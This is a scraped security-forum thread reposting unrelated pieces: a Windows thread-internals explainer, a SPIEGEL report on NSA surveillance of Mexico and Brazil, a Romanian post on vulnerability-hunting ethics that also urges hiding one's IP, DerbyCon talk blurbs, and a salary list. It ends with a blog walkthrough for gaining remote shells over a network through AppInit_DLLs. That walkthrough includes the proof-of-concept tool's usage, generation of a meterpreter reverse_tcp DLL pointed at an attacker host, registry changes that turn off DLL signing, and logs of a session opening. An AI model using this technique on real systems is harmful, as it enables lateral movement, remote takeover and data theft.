that the thread enters inserts a node in the head of this chain.The node is removed from the chain when the thread exit the try block. You can learn more about SEH at below link. A Crash Course on theDepths of Win32 Structured Exception Handling, MSJ January 1997 In addition, TEB contains the thread-local storage data. In multi-threaded applications, there often arises the need to maintain data that is unique to a thread. The place where this thread specific data get stored called thread-local storage. You can learn more about thread-local storage at below link. http://msdn.microsoft.com/en-us/library/windows/desktop/ms686749(v=vs.85).aspx Below mentioned table display few important properties of TEB [TABLE=class: ArticleTable] [TR] [TD]Property Name[/TD] [TD]Description[/TD] [/TR] [TR] [TD]ThreadLocalStorage[/TD] [TD]This field contains the thread specific data.[/TD] [/TR] [TR] [TD]ExceptionList[/TD] [TD]This field contains the Exception Handlers List used by SEH[/TD] [/TR] [TR] [TD]ExceptionCode[/TD] [TD]This field contains the last exception code generated by the Thread.[/TD] [/TR] [TR] [TD]LastErrorValue[/TD] [TD]This field contains the last DLL Error Value for the Thread.[/TD] [/TR] [TR] [TD]CountOwnedCriticalSections[/TD] [TD]This field counts the number of Critical Sections (a Synchronization mechanism) that the Thread owns.[/TD] [/TR] [TR] [TD]IsImpersonating[/TD] [TD]This field is a flag on whether the Thread is doing any impersonation.[/TD] [/TR] [TR] [TD]ImpersonationLocale[/TD] [TD]This field contains the locale ID that the Thread is impersonating.[/TD] [/TR] [/TABLE] Thread kernel object as thread handle System keeps all information required for thread execution/ scheduling inside thread kernel object. Apart from that operating system store address of thread stack and thread TEB in thread kernel object as shown in below figure. Thread kernel object mapping Thread kernel object is the only handle through which operating system access all the information about the thread and is use it for thread execution/ scheduling Thread State Each thread exists in a particular execution state at any given time. Operating system store the state of thread inside thread kernel object field "state". Operating system uses these states that are relevant to performance; these are: - Running - thread is using CPU - Blocked - thread is waiting for input - Ready - thread is ready to run (not Blocked or Running) - Exited - thread has exited but not been destroyed Thread State Diagram Thread Scheduler Queues Operating system thread scheduler maintains thread kernel objects in different queues based on the state of a thread Ready queue - Scheduler maintains list containing threads in Ready state and can be scheduled on CPU. Often list is sorted, generally one queue per CPU. Waiting queues - A thread in Blocked state is put in a wait queue. Below are few example which cause thread block. - Thread kernel object might have a suspend count greater than 0. This means that the thread is suspended - Thread is waiting on some lock to get release - Thread is waiting for reply from E.g., disk, console,network, etc. [*] Exited queue - A thread in Exited state is put in this queue - Thread scheduler use doubly linked list data structure for maintaining these queues where in a list head points to a collection of list elements or entries and each item points to the next and previous items in the list. Thread kernel object doubly link list Scheduler moves threads across queues on thread state change - E.g., thread moves from a wait queue to ready queue on wake up. How OS Run Threads As we already know that thread context structure is maintained inside the thread's kernel object. This context structure reflects the state of the thread's CPU registers when the thread was last executing. Every 20 milliseconds or so, operating system thread scheduler looks at all the thread kernel objects currently inside Ready Queue (doubly linked list). Thread scheduler selects one of the thread kernel objects and loads the CPU's registers with the values that were last saved in the thread's context. This action is called a context switch. At this point, the thread is executing code and manipulating data in its process' address space. After another 20 milliseconds or so, scheduler saves the CPU's registers back into the thread's context. The scheduler again examines the remaining thread kernel objects in Ready Queue, selects another thread's kernel object, loads this thread's context into the CPU's registers, and continues. Thread Scheduler Diagram This operation of loading a thread's context, letting the thread run, saving the context, and repeating the operation begins when the system boots and continues until the system is shut down. Processes and Threads One more thing I would like to share is the relationship between thread and process. Every process requires at least one thread. A process never executes anything, it is simply a container for threads. Threads are always created in the context of some process and live their entire life within that process. What this really means is that the thread executes code and manipulates data within its process' address space. So if you have two or more threads running in the context of a single process, the threads share a single address space. The threads can execute the same code and manipulate the same data. Process gives structural information to the in-memory copy of your executable program, such as which memory is currently allocated, which program is running, how much memory it is using, etc. The Process however, does not execute any code on its own. It simply allows the OS (and the user) to know to which executable program a certain Thread belongs to. It also contains all the handles and security rights and privileges that threads create. Therefore, code actually runs in Threads. For understanding you can make analogy for processes and threads using a regular, everyday object -- a house. A house is really a container, with certain attributes (such as the amount of floor space, the number of bedrooms, and so on). If you look at it that way, the house really doesn't actively do anything on its own -- it's a passive object. This is effectively what a process is. The people living in the house are the active objects -- they're the ones using the various rooms, watching TV, cooking, taking showers, and so on. We'll soon see that's how threads behave. Just as a house occupies an area of real estate, a process occupies memory. And just as a house's occupants are free to go into any room they want, a processes' threads all have common access to that memory. A process, just like a house, has some well-defined "borders." A person in a house has a pretty good idea when they're in the house, and when they're not. A thread has a very good idea -- if it's accessing memory within the process, it can live. If it steps out of the bounds of the process's address space, it gets killed. This means that two threads, running in different processes, are effectively isolated from each other. If you want to learn more about process and thread. Please visit this link Processes and Threads Summary In this article I tried to share basic information about how Windows manage threads best to my knowledge. Please feel free to share your comments if you want me to add something or anything which needs improvement or clarification. Reference CLR via C#, Third Edition (February 10, 2010) By Jeffrey Richter Windows via C/C++ Fifth Edition (December 2007) by Jeffrey Richter and Christophe Nasarre Introduction to NT Internals - Alex Ionescu's Blog Processes and Threads License This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL) About the Author Mahesh Bailwal Software Developer (Senior) India Sursa: Internals of Windows Thread - CodeProject
-
[h=2]NSA Accessed Mexican President's Email[/h] By Jens Glüsing, Laura Poitras, Marcel Rosenbach and Holger Stark The NSA has been systematically eavesdropping on the Mexican government for years. It hacked into the president's public email account and gained deep insight into policymaking and the political system. The news is likely to hurt ties between the US and Mexico. The National Security Agency (NSA) has a division for particularly difficult missions. Called "Tailored Access Operations" (TAO), this department devises special methods for special targets. That category includes surveillance of neighboring Mexico, and in May 2010, the division reported its mission accomplished. A report classified as "top secret" said: "TAO successfully exploited a key mail server in the Mexican Presidencia domain within the Mexican Presidential network to gain first-ever access to President Felipe Calderon's public email account." According to the NSA, this email domain was also used by cabinet members, and contained "diplomatic, economic and leadership communications which continue to provide insight into Mexico's political system and internal stability." The president's office, the NSA reported, was now "a lucrative source." This operation, dubbed "Flatliquid," is described in a document leaked by whistleblower Edward Snowden, which SPIEGEL has now had the opportunity to analyze. The case is likely to cause further strain on relations between Mexico and the United States, which have been tense since Brazilian television network TV Globo revealed in September that the NSA monitored then-presidential candidate Enrique Peña Nieto and others around him in the summer of 2012. Peña Nieto, now Mexico's president, summoned the US ambassador in the wake of that news, but confined his reaction to demanding an investigation into the matter. Now, though, the revelation that the NSA has systematically infiltrated an entire computer network is likely to trigger deeper controversy, especially since the NSA's snooping took place during the term of Peña Nieto's predecessor Felipe Calderón, a leader who worked more closely with Washington than any other Mexican president before him. Brazil Also Targeted Reports of US surveillance operations have caused outrage in Latin America in recent months. Brazilian President Dilma Rousseff cancelled a planned trip to Washington five weeks ago and condemned the NSA's espionage in a blistering speech to the United Nations General Assembly. The US surveillance of politicians in Mexico and Brazil is not a one-off. Internal documents show these countries' leaders represent important monitoring targets for the NSA, with both Mexico and Brazil ranking among the nations high on an April 2013 list that enumerates the US' surveillance priorities. That list, classified as "secret," was authorized by the White House and "presidentially approved," according to internal NSA documents. The list ranks strategic objectives for all US intelligence services using a scale from "1" for high priority to "5" for low priority. In the case of Mexico, the US is interested primarily in the drug trade (priority level 1) and the country's leadership (level 3). Other areas flagged for surveillance include Mexico's economic stability, military capabilities, human rights and international trade relations (all ranked at level 3), as well as counterespionage (level 4). It's much the same with Brazil -- ascertaining the intentions of that country's leadership ranks among the stated espionage targets. Brazil's nuclear program is high on the list as well. When Brazilian President Rousseff took office in early 2011, one of her goals was to improve relations with Washington, which had cooled under her predecessor, the popular former labor leader Luiz Inácio Lula da Silva. Lula focused primarily on establishing closer ties with China, India and African nations, and even invited Iran's then-President Mahmoud Ahmadinejad to Brazil, in a snub to the US. President Barack Obama postponed a planned visit to the capital, Brasília, as a result. Rousseff, however, has distanced herself from Iran. And the first foreign minister to serve under her, Antonio Patriota, who recently resigned, was seen as friendly toward the US, maintaining good ties with his counterpart Hillary Clinton. Obama made a state visit to Brazil two years ago and Rousseff had planned to reciprocate with a visit to Washington this October. Then came the revelation that US authorities didn't stop short of spying on the president herself. According to one internal NSA presentation, the agency investigated "the communication methods and associated selectors of Brazilian President Dilma Rouseff and her key advisers." It also said it found potential "high-value targets" among her inner circle. Economic Motives? Rousseff believes Washington's reasons for employing such unfriendly methods are partly economic, an accusation that the NSA and its director, General Keith Alexander, have denied. Yet according to the leaked NSA documents, the US also monitored email and telephone communications at Petrobras, the oil corporation in which the Brazilian government holds a majority stake. Brazil possesses enormous offshore oil reserves. Just how intensively the US spies on its neighbors can be seen in another, previously unknown operation in Mexico, dubbed "Whitetamale" by the NSA. In August 2009, according to internal documents, the agency gained access to the emails of various high-ranking officials in Mexico's Public Security Secretariat that combats the drug trade and human trafficking. This hacking operation allowed the NSA not only to obtain information on several drug cartels, but also to gain access to "diplomatic talking-points." In the space of a single year, according to the internal documents, this operation produced 260 classified reports that allowed US politicians to conduct successful talks on political issues and to plan international investments. The tone of the document that lists the NSA's "tremendous success" in monitoring Mexican targets shows how aggressively the US intelligence agency monitors its southern neighbor. "These TAO accesses into several Mexican government agencies are just the beginning -- we intend to go much further against this important target," the document reads. It goes on to state that the divisions responsible for this surveillance are "poised for future successes." While these operations were overseen from the NSA's branch in San Antonio, Texas, secret listening stations in the US Embassies in Mexico City and Brasília also played a key role. The program, known as the "Special Collection Service," is conducted in cooperation with the CIA. The teams have at their disposal a wide array of methods and high-tech equipment that allow them to intercept all forms of electronic communication. The NSA conducts its surveillance of telephone conversations and text messages transmitted through Mexico's cell phone network under the internal code name "Eveningeasel." In Brasília, the agency also operates one of its most important operational bases for monitoring satellite communications. This summer, the NSA took its activities to new heights as elections took place in Mexico. Despite having access to the presidential computer network, the US knew little about Enrique Peña Nieto, designated successor to Felipe Calderón. Spying on Peña Nieto In his campaign appearances, Peña Nieto would make his way to the podium through a sea of supporters, ascending to the stage like a rock star. He is married to an actress, and also had the support of several influential elder statesmen within his party, the PRI. He promised to reform the party and fight pervasive corruption in the country. But those familiar with the PRI, which is itself regarded by many as corrupt, saw this pledge as little more than a maneuver made for show. First and foremost, though, Peña Nieto promised voters he would change Mexico's strategy in the war on drugs, announcing he would withdraw the military from the fight against the drug cartels as soon as possible and invest more money in social programs instead. Yet at the same time, he assured Washington there would be no U-turn in Mexico's strategy regarding the cartels. So what were Peña Nieto's true thoughts at the time? What were his advisers telling him? The NSA's intelligence agents in Texas must have been asking themselves such questions when they authorized an unusual type of operation known as structural surveillance. For two weeks in the early summer of 2012, the NSA unit responsible for monitoring the Mexican government analyzed data that included the cell phone communications of Peña Nieto and "nine of his close associates," as an internal presentation from June 2012 shows. Analysts used software to connect this data into a network, shown in a graphic that resembles a swarm of bees. The software then filtered out Peña Nieto's most relevant contacts and entered them into a databank called "DishFire." From then on, these individuals' cell phones were singled out for surveillance. According to the internal documents, this led to the agency intercepting 85,489 text messages, some sent by Peña Nieto himself and some by his associates. This technology "might find a needle in a haystack," the analysts noted, adding that it could do so "in a repeatable and efficient way." It seems, though, that the NSA's agents are no longer quite as comfortable expressing such pride in their work. Asked for a comment by SPIEGEL, the agency replied: "We are not going to comment publicly on every specific alleged intelligence activity, and as a matter of policy we have made clear that the United States gathers foreign intelligence of the type gathered by all nations. As the President said in his speech at the UN General Assembly, we've begun to review the way that we gather intelligence, so that we properly balance the legitimate security concerns of our citizens and allies with the privacy concerns that all people share." Meanwhile, the NSA's spying has already caused considerable political damage in the case of Brazil, seriously denting the mutual trust between Rousseff and Obama. Brazil now plans to introduce a law that will force companies such as Google and Facebook to store their data inside Brazil's borders, rather than on servers in the US, making these international companies subject to Brazilian data privacy laws. The Brazilian government is also developing a new encryption system to protect its own data against hacking. So far, Mexico has reacted more moderately -- although the fact that the NSA infiltrated even the presidential computer network wasn't known until now. Commenting after TV Globo first revealed the NSA's surveillance of text messages, Peña Nieto stated that Obama had promised him to investigate the accusations and to punish those responsible, if it was found that misdeeds had taken place. In response to an inquiry from SPIEGEL concerning the latest revelations, Mexico's Foreign Ministry replied with an email condemning any form of espionage on Mexican citizens, saying such surveillance violates international law. "That is all the government has to say on the matter," stated a spokesperson for Peña Nieto. Presumably, that email could be read at the NSA's Texas location at the same time. Sursa: NSA Hacked Email Account of Mexican President - SPIEGEL ONLINE
-
De ce cauti vulnerabilitati in acele site-uri? Te plictisesti? Nu e un motiv valid. Practic, nu cauti probleme in "orice"' site, cauti in anumite site-uri. Daca nu conteaza in ce site gasesti ceva, fie ca e XSS, SQLI sau orice altceva, inseamna ca esti gay. Gasesti probleme in urmatoarele cazuri: 1. Intr-un site cu Bug Bounty aka ca sa faci bani 2. Cand posestorii site-urilor iti ofera permisiunea (in scris) de a face acest lucru 3. Intr-un site unde crezi ca ai gasii chestii interesante si in cazu asta iti ti-i gura si nu postezi nici pe RST si nici nu le dai mail 4. Intr-un site pe care ai boala, de exemplu sa iti bati pula de Mircea Badea aka deface cu "Muie" scris cu font 72. 5. Ca sa te dai smecher ca esti smecher ca ce smecher esti ca ai gasit SQLI intr-un site pe care poate l-a facut Gigel care a invatat si el putin PHP, si sa le dai link prietenilor ca sa le demonstrezi teorema aceasta Ca te plictisesti sau ca vrei sa inveti nu sunt motive valide, iar singurele cazuri acceptate sunt primele 2, la celelalte risti sa ai probleme. Daca vrei sa faci fapte bune, sa stii ca nu se merita. Daca chiar vrei sa fie ok, trimite un mail INAINTE, zi-le ca esti pasionat pula-n-pizda si ca vrei sa vezi daca sunt probleme si ca le raportezi. Daca accepta, o faci. Daca nu accepta, nu o faci. Si totusi, oricare ar fi cazurile de mai sus, iti sugerez sa folosesti "Tor" sau orice altceva pentru a-ti ascunde IP-ul, sa nu le raportezi problemele de pe gigel.gheorghe@gmail.com unde acela e numele tau si nici sa nu postezi pe undeva de pe vreun username dupa care ti-ai dat datele publice. Asta in general, daca e un site micut nu o sa ii pese nimanui. Povestea e mai lunga, o sa intelegi tu cu timpul, de preferat fara sa treci prin probleme pentru asta.
-
Derbycon 2013 - ‘) Union Select `This_Talk` As (‘New Exploitation And Obfuscation Techniques’)%00 - Roberto Salgado Description: “This talk will present some of the newest and most advanced optimization and obfuscation techniques available in the field of SQL Injections. These techniques can be used to bypass web application firewalls and intrusion detection systems at an alarming speed. This talk will also demonstrate these techniques on both open-source and commercial firewalls and present the ALPHA version of a framework called Leapfrog which Roberto is developing; Leapfrog is designed to assist security professionals, IT administrators, firewall vendors and companies in testing their firewall rules and implementation to determine if they are an adequate enough defense measure to stop a real cyber-attack. Many of the techniques that will be presented were created by Roberto Salgado and are currently some of the fastest methods of extracting information from a database through SQL Injections. Roberto will demonstrate how to reduce the amount of time it takes to exploit a SQL Injection by over a third of the time it would normally take. He will also demonstrate why firewalls and intrusion detection systems are not the ultimate solution to security and why other measurements should also be implemented.” Bio: “As an Information Security specialist, Roberto has always been passionate about his line of work and has had several years of experience researching and experimenting in this field. In saying this, Roberto’s expertise is brought forth by his continuing commitment to exploring the cutting edge of today’s security challenges, and finding solutions to these security problems. This driving passion has given him the opportunity to participate and contribute to great projects such as Modsecurity, PHPIDS, SQLMap and the Web Application Obfuscation book. He also created and maintains the SQL Injection Knowledge Base, an invaluable resource for penetration testers when dealing with SQL Injections. In his free time Roberto enjoys creating SQL Injection challenges for both the security community and himself to learn from. Additionally, Roberto enjoys programming in Python and has created projects like Panoptic, a penetration testing tool that automates the search and retrieval of common log and config files through LFI vulnerabilities.” For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - ‘) Union Select `This_Talk` As (‘New Exploitation And Obfuscation Techniques’)%00 - Roberto Salgado
-
Derbycon 2013 - Ios.Reverse #=? Ipwn Apps - Mano ‘Dash4rk’ Paul Description: While iOS apps downloaded from the AppStore are packaged in binary format and usually encrypted, there is a lot of information one can glean by reversing engineering iOS apps. This talk with cover reversing tools and techniques that can be used to reverse iOS apps to make them iPwn Apps. Bio:Christian, Author (7 Qualities of Highly Secure Software and The Official Guide to the CSSLP), Advisor (Software Assurance), Biologist (Shark Researcher), Entrepreneur (SecuRisk Solutions), Founder (HackFormers), Security Professional and Shaolin Do Kung Fu student (Black belt)! Formal: Mano ‘dash4rk’ Paul is a shark biologist turned security professional. He is the author of the acclaimed “7 Qualities of Highly Secure Software” and the “Official (ISC)2 Guide to the CSSLP.” He serves as the CEO of SecuRisk Solutions which he founded after managing the AppSec program at Dell and his InfoSec experience includes designing & developing security programs from compliance-to-coding, security in the SDLC, writing secure code, risk management, security strategy, and security awareness training & education. He also founded HackFormers which is a Christian organization with the mission to Teach Security, Teach Christ and Teach Security in Christ. He is an invited speaker/panelist, delivering talks and keynotes in conferences such as RSA, OWASP AppSec, SANS, Security Congress, ASIS and Gartner Catalyst. Mr. Paul also serves as the software assurance advisor for (ISC)2 and is a member of the AppSec Advisory Board. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Ios.Reverse #=≫ Ipwn Apps - Mano ‘Dash4rk’ Paul
-
Derbycon 2013 - Sandboxes From A Pen Tester’S View - Rahul Kashyap Description: In this talk we’ll do an architectural decomposition of application sandboxing technology from a security perspective. We look at various popular sandboxes such as Google Chrome, Adobe ReaderX, Sandboxie amongst others and discuss the limitations of each technology and it’s implementation. Further, we discuss in depth with live exploits how to break out of each category of sandbox by leveraging various kernel and user mode exploits – something that future malware could leverage. Some of these exploit vectors have not been discussed widely and awareness is important. Bio: Rahul Kashyap is Chief Security Architect, Head of Security Research at Bromium Labs. Before joining Bromium, he led the worldwide Vulnerability Research teams at McAfee Labs, a wholly owned subsidiary of Intel. He has led both offense and defense oriented research with focus on exploit prevention and mitigation. Rahul has published papers in renowned security journals, and has been a speaker at several security conferences such as Blackhat EU, InfoSec UK, Shakacon, RSA. For More Information please visit : - DerbyCon : Louisville, Kentucky Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Sandboxes From A Pen Tester’S View - Rahul Kashyap
-
[h=2]wow64ext finally compatible with Windows 8[/h]October 19, 2013 / ReWolf I’ve some good news for everyone who was complaining that wow64ext library doesn’t work on Windows 8. I’ve researched this topic a bit, and I’ve released fixed version of the library. Problem was very simple, but it couldn’t be fixed with just one line of code. On Windows 8/8.1 x64 version of NTDLL is loaded at address above 4GB, it wasn’t the case on previous versions of Windows, as x64 NTDLL was always loaded below 4GB. Also some of the system structures are mapped above 4GB (PEB_LDR_DATA64). To fix all the issues I had to introduce new memcpy-like function that can copy data from addresses above 4GB to addresses that are accessible by the standard x86 code. I’ve also fixed problem with case-sensitive GetModuleHandle64 that popped up recently. Below you can find direct link to the updated library: Link to library hosted on google code: rewolf-wow64ext - WOW64Ext is a helper library for x86 programs that runs under WOW64 layer on x64 versions of Microsoft Windows operating systems. - Google Project Hosting Direct link to zip package: http://rewolf-wow64ext.googlecode.com/files/rewolf.wow64ext.v1.0.0.3.zip Sursa: wow64ext finally compatible with Windows 8
-
[h=1]Vedeti ce companii isi platesc cel mai bine programatorii si cu cat?[/h]de Redactia Hit | 21 octombrie 2013 Glassdoor a realizat un top al companiilor care isi platesc cel mai bine inginerii software. Daca va ganditi ca Google sau Facebook se afla pe primele locuri, va inselati. Iata primele zece pozitii din top, iar la sfarsit aveti infograficul complet: Juniper Networks ofera un salariu mediu de baza de 159.990 dolari pe an LinkedIn ofera un salariu mediu de baza de 136.427 dolari pe an Yahoo ofera un salariu mediu de baza de 130.312 dolari pe an Google ofera un salariu mediu de baza de 127.143 dolari pe an Twitter ofera un salariu mediu de baza de 124.863 dolari pe an Apple ofera un salariu mediu de baza de 124.630 dolari pe an Oracle ofera un salariu mediu de baza de 122.905 dolari pe an Walmart ofera un salariu mediu de baza de 122.110 dolari pe an Facebook ofera un salariu mediu de baza de 121.507 dolari pe an Integral ofera un salariu mediu de baza de 117.927 dolari pe an Topul celor de la Glassdoor, preluat si de Business Insider, contine 25 de companii. De asemenea, cercetarea prezinta si principalele avantaje si dezavantaje de a lucra pentru fiecare companie cuprinsa in top. Sursa: Vedeti ce companii isi platesc cel mai bine programatorii si cu cat? | Hit.ro
-
HackMiami Web Application Scanner 2013 PwnOff An Analysis of Automated Web Application Scanning Suites James Ball, Alexander Heid, Rod Soto Hack Miami – Overview Web application scanning suites have become commonplace within the information security industry. There are many open-source and free scanning suites available, as well as a wide array of commercially licensed scanning suites. Often these suites are marketed as automated and simple to use. The notion is that a user can point the tool at a URL and the software will rip the site apart, seeking out vulnerabilities such as SQL injections, Cross Site Scripting (XSS), and other common web application security issues. Successful exploitation of vulnerabilities such as SQLi and XSS can lead to the compromise of data. The impact of the compromise can be minimal to catastrophic. Even the reputational impact of minimal breaches can still be significant to an organization. This document is an analysis of the performance of five common web application scanners, which were put against three different types of web applications. The document will provide as an evaluation of the web application scanner suites from installation to the completion of the scan, and will rate the suites on multiple criteria. The Web Application PwnOff was a live event that took place at the HackMiami 2013 Hackers Conference in Miami Beach Florida. There were three target web applications, one PHP based, one JSP based and one .NET based. The scans consisted of a single pre-authentication scan, and a single post-authentication scan against each user level. Rating scores will be on a scale of 1 (lowest) to 5 (highest). Download: http://hackmiami.org/whitepapers/HackMiami2013PwnOff.pdf
-
Alternative psexec: no wmi, services or mof needed For me the fun in hacking still remains in finding new ways to achieve the same goal. On one of those days with splendid sun and people having their beer, I thought it would be a good idea to start researching how to get a remote Windows shell without using any of the more well known methods and preferably from a Linux host. To set the proper context I’m talking about the situation where you have gathered local administrative credentials and want to start gathering shells all over the network. I started to research the current methods and see how they worked the way they did. Then I did a lot of searching around and also some basic process monitoring stuff. This eventually gave me what I wanted a new?? way to start remote processes without using any of the known methods BUT unfortunately it has one possible drawback: it is not instant like the other well known methods. Depending on your goal and time this can be as much a drawback as it can be an advantage. The actual method IS NOT really new it’s just used in a remote way. Let’s do a quick recap of the ‘well known’ methods I’m referring to, to make sure we are on the same level: psexec This is probably the most well known one and implemented in a dozen ways. The basics revolve around uploading an executable and creating a service that starts the executable. It’s efficient, reliable and thoroughly tested. It works from Windows and Linux hosts. Windows Management Instrumentation (WMI) This one is often used from visual basic script files or powershell scripts to exeute processes remotely. As far as I can tell it uses some undocumented dcerpc functions. It works very nice from Windows host, but I haven’t seen a Linux implementation yet. There is a libwmi library but I think it only does WMI queries, please correct me if I’m wrong. Windows Remote Management / Shell (WinRM / WinRS) This one is pretty neat since it uses the mechanisms provided by Windows to give you a direct shell without uploading anything or making use of temporary files. There is a nice write up about it on the rapid7 website. Managed Object Format (MOF) This one seems to have come into existing with and is pretty sexy. All you have to do is drop a correctly prepared file and Windows will execute it. Looking at all these methods there are a two things that caught my attention: DCE/RPC is pretty powerful Eventually you want to upload your own executable (ex: meterpreter) If you are impatient you can skip to the source of the POC on github, if you want to know more keep reading. The not so new method What is the core of Windows I asked myself? What is the central part that is used by a lot of processes in Windows? The answer to this is in my opinion is the Windows Registry (winreg). Which got me thinking about an old method used to deploy user land rootkits. A very good article about user land rootkits can be found in Phrack, which does an excellent job of describing them: http://www.phrack.org/issues.html?issue=62&id=12 The interesting part in this article is the mention of the registry key “AppInit_DLLs”. Let’s take a look at a few msdn quotes: All the DLLs that are specified in this value are loaded by each Microsoft Windows-based application that is running in the current log on session. That sounds really nice, but let’s not get ahead of ourselfs and also checkout the note on msdn: Note This feature may not be available in future versions of the Windows operating system. The AppInit DLLs are loaded by using the LoadLibrary() function during the DLL_PROCESS_ATTACH process of User32.dll. Therefore, executables that do not link with User32.dll do not load the AppInit DLLs. There are very few executables that do not link with User32.dll. Also let’s look at the more recent Windows support for this feature: Beginning with Windows Vista®, the AppInit_DLLs infrastructure is disabled by default. This default behavior remains unchanged in Windows 7 and Windows Server 2008 R2. Well that doesn’t seem to be to bad, it’s a useful method in which you have to take into account a few pitfalls. The first being the fact you have to re-enable this functionality and more importantly for us can this be done remotely? After digging some more into it Microsoft provides an excellent document describing AppInit_DLLs for Windows 7 and newer versions here and here [msword]. After reading it all it seems that if we want to use this to execute our payload remotely the following steps are required: Access to the registry Enough rights to modify registry keys Ability to upload our DLL Patience to wait for a process that loads it OR somehow trigger the start of a process If you keep digging around you’ll find that there are, a lot, more ways to have Windows execute your payload for example the Windows control panel also accepts .cpl files which in essence are DLL files and those can also be added through registry manipulation. Even better in new Windows version the control panel architecture has switched to use executable files instead of dynamic loading libraries. Both of which can be registered in the registry ready to be executed as soon as a user fires up the control panel. For the ones remembering the whole binary planting debacle this is also a technique you could use remotely since the setting that is responsible for the “fix” of forcing Windows to avoid the dangerous search order can be reversed by changing it’s value in the registry. This would effectively mean that just dropping a DLL file in a location of which you know that is accessed a lot would get you instant execution. For now I decided to only implement a POC for the AppInit_DLLs method. In case you are wondering “why this method?” it’s because of the potential it has when you use it on a terminal server. You’d get shells from all the users that log in to the terminal server. Although I haven’t had the chance to test it out on a terminal server, I think it should work without problems as long as the payload you use takes a few special corner cases into account that you encounter when working with terminal server sessions. Remoting the ‘not so new’ method Since I’m a lazy person I decided to create the POC using existing tools, after all hackers are not the only ones who want to modify a Windows registry remotely from a Linux host right? The first tool that I found was regshell, looking for it also thought me the neat trick of apt-file: apt-get install apt-file apt-file update apt-file search regshell apt-get install registry-tools Shame on me for not knowing apt-file before this, would have saved me a lot of online searching. Using regshell is pretty straightforward: regshell –remote=10.50.0.116 –user=”Administrator%P@55word” predefined HKEY_LOCAL_MACHINE cd “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows” list which gives us: V “LoadAppInit_DLLs” REG_DWORD 0×00000000 V “RequireSignedAppInit_DLLs” REG_DWORD 0×00000001 V “AppInit_DLLs” REG_SZ Looks like we are done right, since uploading the dll file is just a matter of using good old samba? Except we forgot to look at the help/man page of regshell which clearly states that: set|update Update the value of a key value. Not implemented at the moment. Uhmm….darn! Which means that we’ll probably have to implement our own remote registry reader/writer. If someone knows of a Linux tool that is able to write to a remote windows registry say so in the comments. Since my POC is not fully stable at the moment. Implementing our own tool Let’s not loose head here and just use an existing library instead of implementing all the DCERPC calls. For the POC I’m using impacket: Impacket is a collection of Python classes focused on providing access to network packets. Impacket allows Python developers to craft and decode network packets in simple and consistent manner. It includes support for low-level protocols such as IP, UDP and TCP, as well as higher-level protocols such as NMB and SMB. Impacket is highly effective when used in conjunction with a packet capture utility or package such as Pcapy. Packets can be constructed from scratch, as well as parsed from raw data. Furthermore, the object oriented API makes it simple to work with deep protocol hierarchies. This sounded really promising since it also supports DCERPC which is what we need to actually talk to the Windows registry remotely. One of the drawbacks is the lack of documentation which is a problem that a lot of projects out there share. I know that most people say that “code is the only documentation you need” but still some normal documentation and explanation does save you a lot of time. Luckily there are plenty of code samples out there which help out a lot to understand the library. For example this remote registry example which also uses the impacket library. Armed with this I created the following POC: [*] DiabloHorn DiabloHorn | Attempting to understand security [*] Remote AppInit_DLLs deployer [*] rapini.py -t <target> -u <[domain\]username> -p <password> -f <dll_payload> [*] target – use file: syntax to specify a file with multiple ips [*] h – for this menu [*] examples: [*] rapini.py -t 1.2.3.4 -u administrator -p password -f meterpreter.dll [*] rapini.py -t 1.2.3.4 -u domain\administrator -p password -f meterpreter.dll [*] rapini.py -t file:/tmp/targets.txt -u administrator -p password -f meterpreter.dll As a payload I generated a meterpreter dll to test with like this: msf > use payload/windows/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST 10.50.0.103 LHOST => 10.50.0.103 msf payload(reverse_tcp) > generate -t dll -f /tmp/z.dll [*] Writing 14336 bytes to /tmp/z.dll… Then for a single target you run it like this: python rapini.py -t 10.50.0.116 -u administrator -p P@55word -f /tmp/b.dll [*] targets 1 [*] domain None [*] username administrator [*] password P@55word [*] payload /tmp/b.dll [*] attacking 10.50.0.116 [*] Connected to WIN-F1AN5Q00KJS Windows 6.1 Build 7601 [*] Starting upload [*] upload OK – C:\windows\temp\xauczi.dll [*] connecting to the registry [*] connected [*] X64 True [*] current values {‘AppInit_DLLs’: u’\x00?, ‘RequireSignedAppInit_DLLs’: 1, ‘LoadAppInit_DLLs’: 0} [*] setting new values (no signing, uploaded dll, enable appinit) [*] new values set {‘AppInit_DLLs’: u’C:\\windows\\temp\\xauczi.dll\x00?, ‘RequireSignedAppInit_DLLs’: 0, ‘LoadAppInit_DLLs’: 1} Like you can see it displays the old values of the registry keys and then writes the new values to them. This is because this POC at the moment doesn’t preserve the old values, so be careful in live environments. Then if you wait long enough for a process start of if you trigger one yourself you’ll see the shell appearing in your multi/handler. [*] Started reverse handler on 10.50.0.103:4444 [*] Starting the payload handler… [*] Sending stage (762880 bytes) to 10.50.0.116 [*] Meterpreter session 1 opened (10.50.0.103:4444 -> 10.50.0.116:49158) at 2013-10-12 20:34:20 +0200 An important thing to take into account is that AppInit_DLLs are not known for their stability or their use without problems. For this POC I used the default generated meterpreter dll. I’d recommend writing your own wrapper though to make sure that you take some things into account like: Avoiding having your DLL loaded to much Doing your own proper initialization Additionally you probably want to make sure that if there are any values already present in the registry you either preserve them or restore them after you’ve got your shell. If you happen to run into IDS/IPS or AV problems you could try out some of the evasion posts I made in the past. Hope you enjoyed this post and feel free to modify the POC to fit your own needs. Sursa: Alternative psexec: no wmi, services or mof needed | DiabloHorn
-
